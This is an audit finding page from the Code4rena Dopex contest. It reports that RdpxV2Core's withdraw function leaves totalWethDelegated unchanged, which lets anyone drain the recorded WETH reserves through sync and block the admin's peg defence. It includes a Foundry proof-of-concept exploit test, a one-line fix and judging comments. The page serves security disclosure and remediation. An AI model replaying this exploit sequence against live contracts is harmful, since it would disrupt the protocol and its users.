Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 150/189
Findings: 1
Award: $0.19
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: 0xrafaelnicolau
Also found by: 0x111, 0xCiphky, 0xMosh, 0xWaitress, 0xc0ffEE, 0xkazim, 0xnev, 0xvj, ABAIKUNANBAEV, Aymen0909, Baki, ElCid, HChang26, HHK, Inspex, Jorgect, Kow, Krace, KrisApostolov, LFGSecurity, MiniGlome, Nyx, QiuhaoLi, RED-LOTUS-REACH, Talfao, Toshii, Vagner, Viktor_Cortess, Yanchuan, _eperezok, asui, atrixs6, bart1e, bin2chen, carrotsmuggler, chaduke, chainsnake, deadrxsezzz, degensec, dethera, dimulski, dirk_y, ether_sky, gizzy, glcanvas, grearlake, gumgumzum, halden, hals, kodyvim, koo, ladboy233, lanrebayode77, max10afternoon, minhtrng, mussucal, nobody2018, peakbolt, pontifex, qbs, ravikiranweb3, rvierdiiev, said, tapir, ubermensch, volodya, wintermute, yashar, zaevlad, zzebra83
0.1909 USDC - $0.19
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L964 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L975-L990 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1002 https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1110
In a scenario where extreme market conditions necessitate the execution of the lowerDepeg
function to restore the dpxETH/ETH peg, an attacker can exploit the flawed interaction between the addToDelegate
, withdraw
, and sync
functions to force a revert on the admin's attempt to restore the peg. As a result, the protocol will not be able to effectively defend the peg, leading to potential disruptions in the protocol's peg stability module.
If 1 dpxETH < 1 ETH, the rpdxV2Core
contract admin will call the lowerDepeg
function to restore the peg. The backing reserves are used to buy and burn dpxETH from the curve pool to bring back the peg to 1 ETH. An attacker can execute a transaction to manipulate the WETH reserves and cause the admin transaction to revert.
The attacker initiates the exploit by calling the addToDelegate
function, and depositing WETH into rpdxV2Core
contract. By doing so, the attacker effectively updates the totalWethDelegated
state variable, increasing it by the deposited amount.
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L964
The attacker subsequently calls the withdraw
function, which does not update the totalWethDelegated
state variable. Consequently, the totalWethDelegated
variable retains the inflated value of WETH delegated, even though the WETH has neither been delegated nor it remains available, since it was withdrawn.
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L975-L990
Finally, the attacker calls the sync
function which inaccurately updates the WETH reserves by subtracting the inflated totalWethDelegated
value. This manipulation artificially reduces the WETH reserves in the contract to a really small value or even zero.
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1002
The rpdxV2Core
admin calls the lowerDepeg
function to restore the dpxETH/ETH peg, which ultimately will revert due to an underflow error.
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/core/RdpxV2Core.sol#L1110
Note that the attacker can loop through the process outlined in steps 1. and 2., thereby increasing the totalWethDelegated
through a small input amount, before executing the sync function. As a result, this attack becomes financially inexpensive to execute.
// SPDX-License-Identifier: MIT pragma solidity 0.8.19; import {Setup} from "./Setup.t.sol"; import "../../lib/forge-std/src/console.sol"; import "../../lib/forge-std/src/StdError.sol"; contract Exploit is Setup { function testExploitWETHReserves() external { // note: setup address user1 = address(0x1001); address user2 = address(0x1002); weth.mint(address(user1), 10 ether); weth.mint(address(user2), 10 ether); rdpx.mint(address(user1), 1000000 ether); // user1 bonds vm.startPrank(user1); rdpx.approve(address(rdpxV2Core), type(uint256).max); weth.approve(address(rdpxV2Core), type(uint256).max); rdpxV2Core.bond(10 ether, 0, address(this)); vm.stopPrank(); // note: weth reserves manipulation // gets the reserve of WETH in the core contract vm.startPrank(user2); (,uint256 wethReserveBefore,) = rdpxV2Core.getReserveTokenInfo("WETH"); console.log("WETH reserve before: ", wethReserveBefore); // approve rpdxV2Core to spend WETH weth.approve(address(rdpxV2Core), type(uint256).max); // delegate WETH, and assert it was delegated uint256 delegateId = rdpxV2Core.addToDelegate(wethReserveBefore, 1e8); assertTrue(rdpxV2Core.totalWethDelegated() == wethReserveBefore); // withdraw WETH, assert WETH was withdrawn but it still says WETH is delegated rdpxV2Core.withdraw(delegateId); assertTrue(rdpxV2Core.totalWethDelegated() == wethReserveBefore); // assert that the user2 has the same balance he had before assertTrue(weth.balanceOf(user2) == 10 ether); // call sync and make WETH reserves -= WETH delegated rdpxV2Core.sync(); // check the amount of WETH in reserves after and assert it is smaller than before (,uint256 wethReserveAfter,) = rdpxV2Core.getReserveTokenInfo("WETH"); assertTrue(wethReserveBefore - rdpxV2Core.totalWethDelegated() == wethReserveAfter); console.log("WETH reserve after: ", wethReserveAfter); vm.stopPrank(); // note: admin tries to defend the peg. // update the dpxETH price to simulate 1 dpxETH < 1 ETH dpxEthPriceOracle.updateDpxEthPrice(98137847); // expect the transaction to revert with an underflow. vm.expectRevert(stdError.arithmeticError); rdpxV2Core.lowerDepeg(0, 10 ether, 0, 0); }
Manual Review, Foundry
Update the totalWethDelegated in the withdraw
function.
function withdraw(uint256 delegateId) external returns (uint256 amountWithdrawn) { _whenNotPaused(); _validate(delegateId < delegates.length, 14); Delegate storage delegate = delegates[delegateId]; _validate(delegate.owner == msg.sender, 9); amountWithdrawn = delegate.amount - delegate.activeCollateral; _validate(amountWithdrawn > 0, 15); delegate.amount = delegate.activeCollateral; + totalWethDelegated -= amountWithdrawn; IERC20WithBurn(weth).safeTransfer(msg.sender, amountWithdrawn); emit LogDelegateWithdraw(delegateId, amountWithdrawn); }
DoS
#0 - c4-pre-sort
2023-09-07T08:13:29Z
bytes032 marked the issue as duplicate of #2186
#1 - c4-judge
2023-10-20T17:55:32Z
GalloDaSballo changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-10-20T17:58:15Z
GalloDaSballo changed the severity to 3 (High Risk)
#3 - GalloDaSballo
2023-10-20T17:58:47Z
Best + explains why it's high
#4 - GalloDaSballo
2023-10-20T18:00:17Z
TODO: Dups -> Incorrect accounting 25% -> Sync + accounting -> 50% -> 100% only if also breaks the operation
#5 - c4-judge
2023-10-21T07:17:34Z
GalloDaSballo marked the issue as satisfactory
#6 - c4-judge
2023-10-21T07:32:03Z
GalloDaSballo marked the issue as selected for report
#7 - c4-judge
2023-10-21T16:03:07Z
GalloDaSballo marked the issue as not selected for report
#8 - c4-judge
2023-10-21T16:03:13Z
GalloDaSballo marked the issue as selected for report
#9 - c4-judge
2023-10-30T20:04:14Z
GalloDaSballo removed the grade